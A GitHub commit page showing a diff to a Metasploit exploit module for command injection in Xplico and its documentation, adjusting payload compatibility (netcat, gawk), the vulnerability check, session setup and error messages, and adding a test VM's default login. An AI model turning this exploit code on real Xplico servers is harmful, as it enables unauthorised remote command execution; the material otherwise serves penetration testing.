Skip to content

Commit 54936b6

Browse files
committed
Updatig documentation and tweaking initiate_session
1 parent 86e4758 commit 54936b6

File tree

2 files changed

+9
-6
lines changed

2 files changed

+9
-6
lines changed

documentation/modules/exploit/linux/http/xplico_exec.md

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,11 @@ Follow instruction from "from sourceforge" section at following URL. Don't forge
1616

1717
[http://wiki.xplico.org/doku.php?id=ubuntu](http://wiki.xplico.org/doku.php?id=ubuntu)
1818

19-
You may also give a try to virtualbox image provided by maintainer of Xplico.
19+
You may also give a try to virtualbox image provided by maintainer of Xplico. I've tested this module against Xplico-1.1.0-ubuntu-13.10-i386.ova.
2020
[https://sourceforge.net/projects/xplico/files/VirtualBox%20images/](https://sourceforge.net/projects/xplico/files/VirtualBox%20images/)
2121

22+
Username of the virtualbox image is "ubuntu" and password is "reverse".
23+
2224
## Verification Steps
2325

2426
A successful check of the exploit will look like this:

modules/exploits/linux/http/xplico_exec.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -50,8 +50,7 @@ def initialize(info={})
5050
'Compat' =>
5151
{
5252
'PayloadType' => 'cmd',
53-
'RequiredCmd' => 'generic netcat gawk', # rest of them can't fit within 252 space due to badchars.
54-
'ConnectionType' => '-bind' # iptables block incoming connections to everything.
53+
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
5554
},
5655
},
5756
'Targets' => [ ['Automatic', {}] ],
@@ -62,22 +61,24 @@ def initialize(info={})
6261
end
6362

6463
def check
64+
# There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
65+
# which is not something we want to do for only check..!
6566
res = send_request_cgi(
6667
'method' => 'GET',
6768
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
6869
)
6970
if res && res.code == 302
7071
Exploit::CheckCode::Safe
7172
else
72-
Exploit::CheckCode::Vulnerable
73+
Exploit::CheckCode::Unknown
7374
end
7475
end
7576

7677
def initiate_session
7778
print_status('Initiating new session on server side')
7879
res = send_request_cgi(
7980
'method' => 'GET',
80-
'uri' => normalize_uri(target_uri.path, 'index.php'),
81+
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
8182
)
8283
if res && res.code == 200
8384
res.get_cookies
@@ -159,7 +160,7 @@ def register_user(username, password)
159160
if res && res.code == 200 && res.body.include?('Registration Completed.')
160161
print_good('User successfully activated')
161162
else
162-
fail_with(Failure::Unknown, 'Could not activated our user.')
163+
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
163164
end
164165
end
165166

0 commit comments

Comments
 (0)